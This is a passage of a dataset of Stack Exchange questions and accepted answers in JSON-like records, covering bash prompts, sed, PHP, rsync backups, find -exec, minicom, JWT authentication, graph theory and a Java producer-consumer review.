9866c9d0d26d2b27063a89ee1c330It's like wrapped at the 2nd line causing total mess (see the $ sign in the middle). It works almost perfectly for a larger terminal column number, say 120:username@some-very-long-hostname ~/tmp/dhg default (0:69866c9d0d26d2b27063a89ee1c3306a14b06cac) $Also I noticed that add more text to the end of the terminal line causes an issue that's very similar to the effects described for 80 columns above. The question is: does bash handle new lines or too long incorrectly for PS1?Thanks.UPDATEThis question is not an exact duplicate of Why is my bash prompt getting bugged when I browse the history? . After some discussion with @AdamKatz, it seems that zero-length output escapes \\[ and '] work only when they are literally put in the PS1 string, but they does not seem to work when returned from a function causing to appear unescaped on terminal."  , "title": "bash: The prompt gets visually broken"  , "tags": "bash;prompt"  , "accepted_answer": "For multi-line prompts (including when it wraps, including from your commands), you need to enclose your color codes in escaped square brackets (like \\[$color\\]).This example is green, has user@hostname:workingdir $ and then reverts back to uncolored:PS1='\\[\\e[1;32m\\]\\u@\\h:\\w \\$\\[\\e[0;0m\\]'"  } 
{  "id": "_unix.209086"  , "question": "Pseudocode which is a continuation from this answergsed 's/|/1)/g' 's/|/2)/2g' 's/|/3)/3g' 's/|/5)/4g' 's/|/5)/5g' <input.csv >output.csvwhich is of course not working. I am interested in how gsed can manage such an looping. How does gsed extend to such looping? "  , "title": "Replace 1st with 1), 2nd with 2), ... in GNU Sed"  , "tags": "text processing;sed"  , "accepted_answer": "For the case above, you can do it like this:gsed 's/|/1)/; s/|/2)/; s/|/3)/; s/|/4)/; s/|/5)/'Example:$ echo '| | | | |' | sed 's/|/1)/; s/|/2)/; s/|/3)/; s/|/4)/; s/|/5)/'1) 2) 3) 4) 5)This works if you can estimate in advance the maximum number of | on a line, and add s/|/N)/ accordingly.If you can't estimate the maximum number of | on a line it can still be done with gsed, using a counter in the hold buffer, and incrementing it with this clever device by Bruno Haible.  The actual implementation is a little tricky though, and thus I'll leave it to the masochisticastute reader.The easy way is, of course, to just use awk:awk '{ cnt = 0; while(sub(/\\|/, ++cnt ))); print }'Proof:$ echo '| | | | |' | awk '{ cnt = 0; while(sub(/\\|/, ++cnt ))); print }'1) 2) 3) 4) 5)"  } 
{  "id": "_codereview.43635"  , "question": "I need to take data from a MySQL database and message it into a format expected by the front end of an application - I can not change the front end as other services provide it data in this same format.The database is structured as follows:id   type     value     label         optgroup1    car      ix5       Ford Taurus   Ford2    car      ix6       Ford Focus    Ford3    car      ix9       Cobalt        Chevy4    planet   ix8       Earth         DefaultThe output from this code must do the following: for types with optgroups, records must be categorized by optgroup; if there is only one optgroup, then it should be ignored. The real data has hundreds to thousands of rows per type. The finally array output from this data would be:$data = [    'car' => [        'chevy' =>  [ 'ix9' => 'Cobalt' ],        'ford'  =>  [ 'ix5' => 'Ford Taurus', 'ix6' => 'Ford Focus' ]    ],    'planet' => [ 'ix8' => 'earth' ]];The code I have doing this currently works, but is a bit slow, and I am looking for a possible improvement.  Here's the functioning code, where $STH->result() is the database result as an array of rows:protected function _format($STH){    $data = [];    foreach ($STH->result() as $row)    {        if ( ! $row->optgroup)            $data[ $row->type ][ $row->value ] = $row->label;        else            $data[ $row->type ][ $row->optgroup ][ $row->value ] = $row->label;    }    // selects with a single optgroup can have that optgroup removed    foreach ($data as $menutype => $optorkey)    {          if (is_array($optorkey) && count($optorkey) == 1)            $data[$menutype] = current($optorkey);    }    return $data;}EDITThe original query generating the data is very simple, as follows:SELECT type, value, label, optgroup FROM ####.options ORDER BY type, optgroup, label ASCThe data in this table is updated frequently by automated processes."  , "title": "How can I optimize this database to array structure code?"  , "tags": "php;optimization"  } 
{  "id": "_unix.164630"  , "question": "I chose the default installation of OpenBSD 5.5. My monitor's brand is Samsung 27-inch 850 series LED. It's in full high-definition, 1920x1080.After I type my login username and password, I am presented with a window and whatever I type into it appears tiny, that is, the on-screen fonts are too small for me to read.How do I make the on-screen fonts and icons on the desktop larger for me to see clearly? (I believe the default window manager is FVWM)"  , "title": "On-screen fonts appear tiny on OpenBSD 5.5"  , "tags": "x11;fonts;openbsd;fvwm"  } 
{  "id": "_unix.118244"  , "question": "I've got 10k+ files totaling over 20GB that I need to concatenate into one file.Is there a faster way thancat input_file* >> out?The preferred way would be a bash command, Python is acceptable too if not considerably slower. "  , "title": "Fastest way to concatenate files"  , "tags": "bash;shell script;files;cat"  , "accepted_answer": "Nope, cat is surely the best way to do this. Why use python when there is a program already written in C for this purpose? However, you might however want to consider using xargs in case the command line length exceeds ARG_MAX and you need more than one cat. Using GNU tools, this is equivalent to what you already have:find . -maxdepth 1 -type f -name 'input_file*' -print0 |  sort -z |  xargs -0 cat -- >>out"  } 
{  "id": "_cs.24307"  , "question": "This circuit should be reasonably efficient in size and depth, but with priority on depth. If depth was not a concern, then I guess I could make a specialized adder for the least significant bit and then modelled the rest of the circuit as a ripple adder with only that initial, possible carry. The carry has to ripple through the first sequence of consecutive bits set to 1. For example:$inc(0111) = 1000$$inc(0001) = 0010$$inc(0100) = 0101$ (no ripple)But this takes linear time, in the worst case (binary string is $1...1$). How do you optimize for depth? Does the optimal circuit have a $log_2(n)$ depth? Is perhaps the best strategy to use a parallel prefix circuit? If so, I guess one would make a specialized adder for the least significant bit. Then you have the result of the least significant bit, which is 0 if a carry was generated, 1 otherwise. If a carry was generated, then you need to efficiently ripple it through all the adjacent, consecutive 1-bits. If one is to use a prefix sum, then you need an associative binary operator. It also needs to preserve the value of the bits that are not part of the initial, consecutive 1-bits (from right to left). This might mean that you pass in the carry bit that was (possibly) generated after the increment on the least significant bit, while the rest of the operators gets fed predefined bits which preserve the values of the relevant bits of the number (bit vector).  At this point, I'm stuck. "  , "title": "Create a shallow logic circuit that increments a binary number"  , "tags": "logic;circuits"  } 
{  "id": "_webmaster.58577"  , "question": "I'm quite new to SEO, I have a website that focuses on things to do in a city.We have lots of articles like Top 10 / 20 restaurants etc.We just opened a new section which uses Google Maps and has map points for all the individual things to do in the city. I would like to use snippets of text from the larger articles and create new articles with them.For example: I would like to take the text for each of the restaurants on the Top 10 article and create 10 new articles with those pieces of text and link each one to a point on the map. The titles and URLs will all be unique and the focused keywords will be different too.I'm also going to be linking to the big Top 10 article from each of these small article pages too.I'm worried about it being seen as duplicate content by Google and would like some advice on best practices."  , "title": "SEO Advice Needed! Can you use a snippet from a big article as a new small article?"  , "tags": "seo;duplicate content"  } 
{  "id": "_unix.261518"  , "question": "When I run my grep command:grep -rc 'PATTERN' .it prints out the number of lines that the pattern occurs, but it looks like this:./hotel_232424.dat:234and so on...How would I remove the ./hotel_232424.dat: part and just print out the number?"  , "title": "Remove file name when recursively counting number of occurrences of a pattern"  , "tags": "bash;shell script;sed;grep"  } 
{  "id": "_webapps.16"  , "question": "I like Facebook to connect with friends, but I don't like the way their favorite games spam me.They just keep giving me Mafia Wars updates!Is there any way to block a friend's Mafia Wars update? Or any other Facebook game for that matter."  , "title": "How do I make Facebook block a friends Mafia Wars updates?"  , "tags": "facebook"  , "accepted_answer": "You can open the game at http://apps.facebook.com/inthemafia/. Find the Block Application link and follow the instructions. Further updates from Mafia Wars will not be seen on your account. If you're interested in just blocking a particular user's updates, you can block the person by visiting their profile and doing the same thing on that page, however you will effectively be blocking ALL of their updates and not just their Mafia Wars updates."  } 
{  "id": "_codereview.105455"  , "question": "GivenRoy wanted to increase his typing speed for programming contests. So, his friend advised him to type the sentence The quick brown fox jumps over the lazy dog repeatedly, because it is a pangram. (Pangrams are sentences constructed by using every letter of the alphabet at least once.)  After typing the sentence several times, Roy became bored with it. So he started to look for other pangrams. Given a sentence s, tell Roy if it is a pangram or not. Input Format Input consists of a line containing s.ConstraintsLength of s can be at most 103 \\$(1|s|103)\\$ and it may contain spaces, lower case and upper case letters. Lower case and upper case instances of a letter are considered the same.Solution 1from collections import defaultdictimport stringdef is_pangram(astr):    lookup = defaultdict(int)    for char in astr:        lookup[char.lower()] += 1            for char in string.ascii_lowercase:        if lookup[char] == 0:            return False    return Trueprint pangram if is_pangram(raw_input()) else not pangramSolution 2from collections import Counterimport stringdef is_pangram(astr):    counter = Counter(astr.lower())    for char in string.ascii_lowercase:        if counter[char] == 0:            return False    return Trueprint pangram if is_pangram(raw_input()) else not pangramWhich is better in terms of running time and space complexity?"  , "title": "Pangrams python implementation"  , "tags": "python;programming challenge"  , "accepted_answer": "Since you do not actually need the count of each character, it would be simpler to use a set and the superset operator >=:def is_pangram(astr):    return set(astr.lower()) >= set(string.ascii_lowercase):Your two solutions are almost identical, though herefor char in astr:    lookup[char.lower()] += 1  it would be faster to lowercase the whole string at once (like you already do in solution 2):for char in astr.lower():    lookup[char] += 1  Other than that, the only difference is defaultdict vs. Counter. The latter makes your code more elegant, but since the standard library implements Counter in pure Python, there may be a speed advantage to defaultdict."  } 
{  "id": "_cs.26180"  , "question": "The $G(n,p)$ random graph model creates graphs with $n$ vertices and each possible edge exists independently with probability $p\\in (0,1)$. Much is known about the (expected) size of a largest clique in these graphs, and it has been shown that the expected number of maximal cliques of size $d$ is $${n\\choose d} p^{d \\choose 2} (1-p^d)^{n-d}.$$To find the expected number of maximal cliques,  just sum over all values of $d$ to get $$\\mu (G(n,p)) := \\sum_{d=1}^n {n\\choose d} p^{d \\choose 2} (1-p^d)^{n-d}.$$I'm interested in the asymptotic growth of $\\mu (G(n,p))$ as a function $n$. For example, if $p$ is fixed, does $\\mu$ grow polynomially in $n$? A quasi-polynomial bound is not hard to show. Since the expected maximum clique size is roughly $\\omega(G(n,p))\\approx\\frac{2 \\log n}{\\log(1/p)}$, the number of cliques (not necessarily maximal) is $O( {n \\choose \\omega(G(n,p))+1}) = O(n^{\\omega(G(n,p))+1})=O(n^{\\frac{2 \\log n}{\\log(1/p)}+1})$."  , "title": "Expected number of maximal cliques in $G(n,p)$"  , "tags": "graph theory;probability theory;random graphs;clique"  } 
{  "id": "_unix.321192"  , "question": "I've tried making backups using the default tools in my Linux distro (Mint 17.3), and I seem to have run into a problem. It took me awhile to figure out why, but apparently it's trying to follow some of my links, which point to various places on the root drive and tries to back them up too. Considering that my /home/$USER folder is currently several hundred GB in size, my last backup was nearly ago, and my disk was under heavy use for awhile due to a known issue with ASRock mobos spamming the logfiles, I'm a bit concerned for the safety of my data and would like to get started soon.I've tried the GUI tool and I've tried tar, cp, and 7z (no flags on any because I don't know which ones to use and the man pages can be pretty dense), but I don't know what other ways there are of doing this that I haven't tried. If it matters, the links I know it's hanging on were created by POL and Steam (I can't tell you whether they're hard, soft, or symbolic), though I think there are others that will mess it up too. The source and destination drives are both EXT4, though I experienced the same problem when the destination drive was an NTFS.Clearly, the reason the operation is aborting due to a permission error when trying to access / . However, even if I was to run this as root, the backup operation would simply find its way back to / and recursively back everything up until my external drive is full. I need some way to prevent it from following links, but to just copy them as-is.I just need a simple archive of my home folder I can copy back over if my current hard drive dies. I don't need a bootable backup, my system settings are only lightly modified and is easy to get back in order if I need to reinstall. The best solution is something I already have, the next-best would be free software in the repos, the next best would be a source-distributed free software tool, and if none of those are available, a trusted commercial tool of some sort."  , "title": "What tool can I use to create backups?"  , "tags": "linux;linux mint;backup"  , "accepted_answer": "I would simply use rsync. It's simple, fast and does exactly what you want. Here's how a command could look likersync -avz --delete /home/user /mnt/bkpSee man rsync for the meaning of the flags. -avz is quite standard. Note that I added the --delete option as well, that means when you delete a file in your home directory and you make a backup, it will also be removed from your backup. Be careful when testing!"  } 
{  "id": "_cstheory.10720"  , "question": "It is known how to construct lossless unbalanced bipartite expanders with the following properties: the bipartite graph has $n$ left vertices, $m$ right vertices, left-degree $D$, and for all left-sets $S$ of size up to $\\gamma n$, the neighbor set $\\Gamma(S)$ has size at least $(1 - \\epsilon)D|S|$, and this is achieved for any $m \\leq n, \\epsilon > 0$, and $D = \\Theta(\\log(n/m)/\\epsilon)$, $\\gamma = \\Theta(\\frac{\\epsilon m}{Dn})$. The construction due to  Capalbo, et al. achieves these parameters.It's clear that $\\gamma \\leq m/(Dn)$, but how large can $\\gamma$ be? In particular, I'm wondering if it's possible to make $\\gamma$ very close to $1/4$, say; this would essentially require one to make $m = n$ and $D = 4$ for any hope of accomplishing this --  $\\epsilon$ hasn't even been considered yet! However, does anyone familiar with expander constructions have a sense of what hidden constants lay within the $\\Theta$'s? "  , "title": "Lossless, constant-degree expanders that expand large sets"  , "tags": "graph theory;co.combinatorics;expanders"  } 
{  "id": "_cs.42773"  , "question": "On partial planarization I understand an algorithm, which tries to reach a optimal, or nearly-optimal solution for non-planar graphs. For example, which minimizes the number of the crossing edges (but I can imagine some other viewpoint, too).I think, a such algorithm could be maybe even fast (around $O(V^3)$ or maybe faster).Is there a such algorithm?"  , "title": "Is there a fast, partial planarization algorithm for non-planar graphs?"  , "tags": "graphs;planar graphs"  } 
{  "id": "_cs.62572"  , "question": "Im searching about conditional random fields for a long time and cant understand the concepts of this algorithm.I understood markov chains, and understood that conditional random field is a more complex modification of markov chain, Im right?So, what is the best didactic explanation of conditional random fields?"  , "title": "How the conditional random fields algorithm work?"  , "tags": "algorithms;machine learning;natural language processing;markov chains"  } 
{  "id": "_unix.251570"  , "question": "I'm using openSUSE 42.1 and opened a fresh install of Firefox, but somehow when I try to download a zip file from my Google Drive, an error is shown:Could not download [filename]. HTTP error.This is the second time, and it only happens with Firefox.I found only one solution, which is to remove cookies.sqlite, but it did not work for me."  , "title": "Google Drive HTTP Error when downloading .zip file with Firefox"  , "tags": "files;download;http;google drive"  } 
{  "id": "_unix.283924"  , "question": "I have a micro-controller device that is sending newline-terminated strings through the USB-attached serial port and (so far) I'm using minicom version 2.6 to read from /dev/ttyACM0. I've setup the terminal application for line wrapping but I'd like it to go to the beginning of the next line when receiving a line feed character from my serial device. Can [and how does] minicom do that?EDIT: I've also tried ways known by me such as stty /dev/ttyACM0 ...,inlcr and screen /dev/ttyACM0 ...,inlcr, which I know have options to translate incoming new-line into carriage-return+line-feed (CR+LF) and none of these work either. I've tried other options as well (such as ocrnl, in case my logic was wrong, nl and -nl), none work and I don't know why.Ah, and I'm running Manjaro 16.06-rc1."  , "title": "How can minicom permanently translate incoming newline (\\n) to CR+LF?"  , "tags": "serial port;newlines;minicom"  , "accepted_answer": "Took me long enough but here I am at last! I've had to download minicom source code to get an idea what to do to avoid the hassle of constantly pressing Ctrl+Z, U... Here it is.minicom stores its parameters in a configuration file, which defaults to $HOME/.minirc.dfl. Put the following line, to the letter:pu addcarreturn    Yesand now minicom adds a carriage return to all incoming lines. I have no idea why it didn't save that option along with its configuration file in the first place but, heck, I don't care now!Beware that every option after pu must take exactly 16 characters, padded with spaces to the right."  } 
{  "id": "_softwareengineering.188895"  , "question": "I'm tinkering with a query abstraction over WebSQL/Phonegap Database API, and I find myself both drawn to, and doubtful of, defining a fluent API that mimics the use of natural English language grammar.It might be easiest to explain this via examples. The following are all valid queries in my grammar, and comments explain the intended semantic://find user where name equals foo or email starts with foo@find(user).where(name).equals(foo).and(email).startsWith(foo@)//find user where name equals foo or barfind(user).where(name).equals(foo).or(bar);//find user where name equals foo or ends with barfind(user).where(name).equals(foo).or().endsWith(bar);//find user where name equals or ends with foofind(user).where(name).equals().or().endsWith(foo);//find user where name equals foo and email is not like %contoso.comfind(user).where(name).equals(foo).and(email).is().not().like(%contoso.com);//where name is not nullfind(user).where(name).is().not().null();//find post where author is foo and id is in (1,2,3)find(post).where(author).is(foo).and(id).is().in(1, 2, 3);//find post where id is between 1 and 100find(post).where(id).is().between(1).and(100);Edit based on Quentin Pradet's feedback: In addition it seems, the API would have to support both plural and singular verb forms, so://a equals bfind(post).where(foo).equals(1);//a and b (both) equal cfind(post).where(foo).and(bar).equal(2);For the sake of question, let's presume that I haven't exhausted all possible constructs here. Let's also presume that I can cover most correct English sentences - after all, the grammar itself is limited to the verbs and conjuctions defined by SQL.Edit regarding grouping: One sentence is one group, and the precedence is as defined in SQL: left to right. Multiple groupings could be expressed with multiple where statements://the conjunctive and() between where statements is optionalfind(post)  .where(foo).and(bar).equal(2).and()  .where(baz).isLessThan(5);As you can see, the definition of each method is dependent on the grammatical context it is in. For example the argument to conjunction methods or() and and() can either be left out, or refer to a field name or expected value.To me this feels very intuitive, but I would like you hear your feedback: is this a good, useful API, or should I backpedal to more straighforward implementation?For the record: this library will also provide a more conventional, non-fluent API based on configuration objects."  , "title": "Using natural language grammar in fluent API"  , "tags": "javascript;api"  , "accepted_answer": "I think it's very wrong. I study natural langage and it's full of ambiguity that can only be resolved with context and a lot of human knowledge. The fact that programming languages are not ambiguous is a very good thing! I don't think you want meaning of methods to change according to context:This is adds more surprises since you bring ambiguityYour users will want to use constructions that you will not have covered, eg. find(user).where(name).and.(email).equals(foo);It's hard to report errors: what can you do with find(user).where(name).not().is().null();?Let's also presume that I can cover most correct English sentences -  after all, the grammar itself is limited to the verbs and conjuctions  defined by SQL.No, you can't cover most correct English sentences. Others have tried before, and it gets very complicated very quickly. It's called Natural language understanding but nobody really tries that: we're trying to solve smaller problems first. For your library, you basically have two options:either you restrict yourself to a subset of English: that gives you SQL,or you try to cover English and you find out that it's not possible due to the ambiguity, complexity and diversity of the language."  } 
{  "id": "_unix.27506"  , "question": "I had difficulties installing Cisco5.0 VPN on my Ubuntu 10.04 LTS. I asked for assistance in this question: link to previous question. The answer is that this Cisco program will run on only older versions of the kernel. I would like to use the VPN to connect through my university's network so that I can view academic journals under their subscription. One option could be to downgrade the kernel; how can this be done and what consequences would this have? The second question is whether I can install an alternative VPN client to connect? I have a .pcf file from the university to use with the Cisco client. Would this be compatible information to allow another client to connect? Is the connection independent of the software used?"  , "title": "Installing OpenVPN to replace Cisco VPN because Cisco will not work with the kernel I am on or downgrade instead?"  , "tags": "ubuntu;kernel;software installation;vpn;openvpn"  , "accepted_answer": "I installed VPNC instead through the synaptic package manager. It was able to import the .pcf file for the cisco VPN. It was then able to connect properly."  } 
{  "id": "_softwareengineering.85764"  , "question": "According to a popular SO post is it considered a bad practice to prefix table names. At my company every column is prefixed by a table name.  This is difficult for me to read.  I'm not sure the reason, but this naming is actually the company standard.  I can't stand the naming convention, but I have no documentation to back up my reasoning.  All I know is that reading AdventureWorks is much simpler.  In this our company DB you will see a table, Person and it might have column name:Person_First_Name or maybe even Person_Person_First_Name (don't ask me why you see person 2x)Why is it considered a bad practice to pre-fix column names?  Are underscores considered evil in SQL as well?  Note:  I own Pro SQL Server 2008 - Relation Database design and implementation.  References to that book are welcome."  , "title": "Why is prefixing column names considered bad practice?"  , "tags": "sql"  , "accepted_answer": "Underscores are not evil just harder to type. What is bad is changing standards midstream without fixing all the existing objects. Now you have personId, Person_id, etc. and can't remember which table uses the underscores or not. Consistency in naming (even if you personally don't like the names) helps make it easier to code.Personally the only place I feel the need to use the tablename in a column is on the ID column (the use of just ID is an antipattern in database design as anyone who has done extensive reporting queries can tell you. It's so much fun to rename 12 columns in your query every time you write a report.) That also makes it easier to immediately know the FKs in other tables as they have the same name. However, in a mature database, it is more work than it is worth to change an existing standard. Just accept that is the standard and move on, there are far more critical things that need to be fixed first.  "  } 
{  "id": "_unix.20844"  , "question": "I'm just getting into server administration and now everybody needs something. Lately I'm getting stuck on package hunting, so I'm on the search to find the most comprehensive repo list of LAMP packages.What repositories do you use in your list for LAMP resources and why do you use them?"  , "title": "What is the best CentOS 6 repo list for LAMP stacks?"  , "tags": "package management;yum"  } 
{  "id": "_softwareengineering.344089"  , "question": "I'm relatively new to jwt.io and authentication and I'm using JWT.io in following manner.Server SideOnce user logs in, I generate a token with userid embedded inside and pass it back to the user in the message bodyClient Side Browser/JSI'm storing the token in localStorage and for each subsequent request, I'm passing the token in the headers.Authorization: Basic someEncryptedValueI've also usedX-Auth-Token: someEncryptedValueCould I use this in a cookie?Then on the server side, I'm verifying the token against the secret, checking expiry, getting the id out of the token and then serving the request.Is everything correct in this workflow?"  , "title": "Authentication via tokens"  , "tags": "authentication;session;authorization;cookies"  } 
{  "id": "_webapps.22621"  , "question": "How do you unsubscribe someone that has subscribed to you? My son has a woman who has subscribed to him on Facebook and is sending him links to objectionable sites. How does he stop this?"  , "title": "How do you block someone who has subscribed to you?"  , "tags": "facebook"  } 
{  "id": "_unix.276759"  , "question": "I am a moderately experienced vim user, who is now beginning to use GNU emacs. At about the same time as I learned that Ctrl-p and Ctrl-n are the default for up and down in emacs, I also learned they are variants of k and j in normal mode in vim.Does anyone know the origin of these shortcuts? I suppose that  logically they come from p(revious) and n(ext), or maybe (u)p and (dow)n, but I am asking about what programme, system or standard they were part of. It seems unlikely that a couple of random emacs shortcuts were borrowed into vim, so their inclusion in both makes me think that they probably predate both emacs and vim.*It's hard to find the answers to questions of keystrokes using Google, but interestingly they are not mentioned as arrow keys on the seemingly comprehensive Wikipedia article.*Thanks to Thomas Dickey and Mark Plotnick who have pointed out in comments that the shortcuts in question are documented in 1984 vi (sic), and 1978 emacs reference works, but I think the question of common origin still stands."  , "title": "What is the historical origin of CTRL + P for up and CTRL + N for down?"  , "tags": "vim;keyboard shortcuts;emacs;history"  } 
{  "id": "_unix.341731"  , "question": "I've spent the last hour deliberating on what to name a property which means the total opposite of resolved, physical realpath.For example, let's assume /foo/bar/ is an ordinary physical path. If a symlink was created at /quux which simply pointed to /foo, is it appropriate to refer to everything accessed via /quux/foo/bar/ as a symlinked path...?This is mostly a question about nomenclature, because I'm uncertain if there's a more accurate way of referring to an unresolved pathname. I'd use working path, but the term sounds too process-specific.If context is needed, it's for a filesystem API where a routine determines if an extra system-call should be made for a resource whose path isn't entirely physical."  , "title": "Is there a proper term for a physical path accessed through a symbolic link?"  , "tags": "symlink;filenames"  , "accepted_answer": "If you want to be really pedantic, you may say that there is not really such a thing as a physical path.  Unix hasAbsolute Pathname: A pathname beginning with a single or more than two <slash> characters.Relative Pathname: A pathname not beginning with a <slash> character.If a pathname contains a symbolic link, it is still a pathname. There is no other terms for it in the POSIX standard.However, the pwd utility has two flags, -P and -L, but with no indication as to what these letters abbreviate:-LIf the PWD environment variable contains an absolute pathname of the current directory and the pathname does not contain any components that are dot or dot-dot, pwd shall write this pathname to standard output, except that if the PWD environment variable is longer than {PATH_MAX} bytes including the terminating null, it is unspecified whether pwd writes this pathname to standard output or behaves as if the -P option had been specified. Otherwise, the -L option shall behave as the -P option.-PThe pathname written to standard output shall not contain any components that refer to files of type symbolic link. If there are multiple pathnames that the pwd utility could write to standard output, one beginning with a single <slash> character and one or more beginning with two <slash> characters, then it shall write the pathname beginning with a single <slash> character. The pathname shall not contain any unnecessary <slash> characters after the leading one or two <slash> characters.Of course, it's possible to infer the meaning of logical and physical to these two flags, and the GNU coreutils version of this utility even has these two words as long options.So the answer is logical path."  } 
{  "id": "_cs.77520"  , "question": "I want to build the distance constrained k-Nearest Neighbours Graph, i.e. for every point $p$ in the data cloud $P$ there are at most $k$ undirected edges to points that are closest among all possible vertices using $L_2$ metric with additional constraint that are no further than $d$.There are only insertions (in batches of $10^6$ points) and neighbourhood retrieval queries used. The results have to be exact - I cannot use approximate nearest neighbours or reduce dimensions.The setting is following:There are 50 dimensions, not correlated. The $k=9$ is number of neighbours, $d$ is given distance. The data is sparse in every dimension, mean and median are meaningful, data is random and unstructured in any way (but for sure not from uniform or Gaussian distribution).So far I have tried to build parallel kd-tree with partial rebalancing, the ball trees, m-trees, r-trees, Sparse ktree (octree with more dimensions) partitioning and two-projection hashes. But I am facing problem, that either insertion time is far too long or k-nng queries are too long. I think this happens because the structures are either static or not really prepared to maintain full neighbourhood graph.I have tried linear scan, it performs good for very small data, worse than z-curve localised version or sparse ktree. Up to some $n$ it outperforms any treelike structure. I made one modification to nave algorithm: used one AVL (right threaded) per dimension keeping nodes connected among trees and checked only points within distance $d$ at each dimension - this one performs well, but due to its memory consumption and lack of multidimensional structure scales poorly.What data structure would be the best in practice for dk-NNG?If this is not enough, I would like to optimize the number of neighbours checked, for localised data the number of bins traversed."  , "title": "What is the best known data structure for online dk-NNG?"  , "tags": "data structures;online algorithms;nearest neighbour"  } 
{  "id": "_softwareengineering.85472"  , "question": "Can anybody tell me how I can give my paid app a free download option to one of my friend from iTunes Connect. What I mean is that I will give my friend a code by which he can download my app without paying. Can anyone tell me if there is any option in iTunes Connect to do this?"  , "title": "How do I distribute free copies of a paid iOS app?"  , "tags": "iphone"  } 
{  "id": "_softwareengineering.328740"  , "question": "I'm lead on a team with a half-dozen senior engineers. I very much believe it would benefit us greatly to do code reviews for all the standard reasons. Not necessarily every change but at least a steady stream of background reviews. So people at least see other's changes and start talking about them.Is there a good way to introduce reviews? I sense a large reluctance from the team, because it's just one more thing to do, and conversations can get painful. I feel like reviewing every change is a non-starter, at least as a first step. I'd like people get into the rhythm and practice of doing reviews with some low frequency first before amping up the quantity.Has anyone successfully introduced code reviews gradually? How? I've though about requiring reviews on hot files or libraries. Or picking at random. Or me picking choice must-review changes. Or is taking the plunge and doing every change the only way to go?"  , "title": "How to gradually introduce code reviews?"  , "tags": "code reviews;team leader"  , "accepted_answer": "This is not a problem of tooling or process. It's about culture. You describe a team that is comprised of people who are sensitive of criticism and protective of their own work. It's very, very common. But it is not professional.My advice is to start leading by example. Offer your commits for review. Be open about requesting that people highlight the problems in your approach. Be receptive to feedback. Do not be defensive, but instead explore the reasons behind the feedback & agree on actions as a team. Encourage an atmosphere of open dialog. Find a champion or two in your team who are willing to do this also.It's hard work."  } 
{  "id": "_unix.122272"  , "question": "Is it possible to start an xfreerdp session into Microsoft windows from a command-line only install of Linux?The command I use from a full blown Linux install is this:$ sudo xfreerdp /v:farm.company.com /d:company.com \\    /u:oshiro /p:oshiro_password /g:rds.company.comThis command works fine. However, when I run the same command from a command-line install of Linux, I get the following error message:Warning xf_GetWindowProperty (client /X11/xf_window.c:178): Property 340 does not exist"  , "title": "Logging into an RDS session from the command-line"  , "tags": "ubuntu;command line;xorg;remote desktop;freerdp"  , "accepted_answer": "If you're just logged into a system that doesn't have a X desktop running then no you won't be able to make use of xfreerdp or any such application that requires the use of a GUI. Remember that the X desktop is driving the videocard & monitor locally and is providing a basis (the X protocol) on which other graphical applications can also display GUIs through it as well. Without it any applications such as xfreerdp have no way to access the the display directly.If you're familiar with the DOS/Windows model then think of trying to run a Windows application directly from DOS. This wouldn't be possible here either. There are libraries and services that Windows provides APIs to, which applications then utilize. This is the tradeoff one makes when developing an application for a given environment vs. developing it as a standalone entity that can interact with a given system's hardware directly."  } 
{  "id": "_unix.202391"  , "question": "Using the following command, could someone please explain what exactly is the purpose for the ending curly braces ({}) and plus sign (+)?And how would the command operate differently if they were excluded from the command?find . -type d -exec chmod 775 {} +"  , "title": "Understanding find(1)'s -exec option (curly braces & plus sign)"  , "tags": "find"  , "accepted_answer": "The curly braces will be replaced by the results of the find command, and the chmod will be run on each of them. The + makes find attempt to run as few commands as possible (so, chmod 775 file1 file2 file3 as opposed to chmod 755 file1,chmod 755 file2,chmod 755 file3). Without them the command just gives an error. This is all explained in man find:   -exec command ;          Execute  command;  true  if 0 status is returned.  All following          arguments to find are taken to be arguments to the command until          an  argument  consisting of `;' is encountered.  The string `{}'          is replaced by the current file name being processed  everywhere          it occurs in the arguments to the command, not just in arguments          where it is alone, as in some versions of find.     -exec command {} +          This  variant  of the -exec action runs the specified command on          the selected files, but the command line is built  by  appending          each  selected file name at the end; the total number of invoca          tions of the command will  be  much  less  than  the  number  of          matched  files.   "  } 
{  "id": "_codereview.133342"  , "question": "I have Producer Threads A, B and C producing 3 different types of events Events A, B and C respectively. The Consumer thread can only process only one Event B at a time, where as it can process any number of Events A & C at a point of time.Event class:package codility.question;public class Event {    private String type;    public Event(String repository) {        super();        this.type = repository;    }    @Override    public String toString() {        return Event [repository= + type + ];    }    public String getType() {        return type;    }    public void setType(String type) {        this.type = type;    }}ProducerConsumer class:package codility.question;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.concurrent.locks.Lock;import java.util.concurrent.locks.ReentrantLock;public class ProducerConsumer {    private static final String SPECIAL_EVENT_TYPE_B = B;    private static int CAPACITY = 10;    public static void main(String[] args) {        final BlockingQueue<Event> queue = new LinkedBlockingQueue<Event>(CAPACITY);         final Lock lock = new ReentrantLock();        Thread eventSchedulerAlpha = new Thread(Event A) {            public void run() {                try {                    Event event = new Event(A);                    queue.put(event);                    // thread will block here                    System.out.printf([%s] published event : %s %n, Thread.currentThread().getName(), event.toString());                } catch (InterruptedException e) {                    e.printStackTrace();                }            }        };        eventSchedulerAlpha.start();        Thread eventSchedulerBeta = new Thread(Event B) {            public void run() {                try {                    Event event = new Event(SPECIAL_EVENT_TYPE_B);                    queue.put(event);                    // thread will block here                    System.out.printf([%s] published event : %s %n, Thread.currentThread().getName(), event.toString());                } catch (InterruptedException e) {                    e.printStackTrace();                }            }        };        eventSchedulerBeta.start();        Thread eventSchedulerKappa = new Thread(Event C) {            public void run() {                try {                    Event event = new Event(C);                    queue.put(event);                    // thread will block here                    System.out.printf([%s] published event : %s %n, Thread.currentThread().getName(), event.toString());                } catch (InterruptedException e) {                    e.printStackTrace();                }            }        };        eventSchedulerKappa.start();            Thread builder = new Thread(Builder) {                public void run() {                    System.out.println(Started the Builder);                    try {                        Event processPR = null;                        while(queue.size()>0) {                            Event pr = queue.peek();                            if(pr!=null && SPECIAL_EVENT_TYPE_B.equals(pr.getType())) {                                lock.lock();                                processPR = queue.take();                                processEvents(processPR);                                lock.unlock();                            } else {                                processPR = queue.take();                                processEvents(processPR);                            }                            // thread will block here                            System.out.printf([%s] consumed event : %s %n, Thread.currentThread().getName(), pr.toString());                        }                    } catch (InterruptedException e) {                        e.printStackTrace();                    }                }            };            builder.start();    }    public static void processEvents(Event pr) {        System.out.println(The build process BEGINS for + pr.toString());        try {            Thread.sleep(5000);        } catch (InterruptedException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        System.out.println(The build process ENDS for + pr.toString());    }}"  , "title": "Multithreaded Producer-Consumer pattern"  , 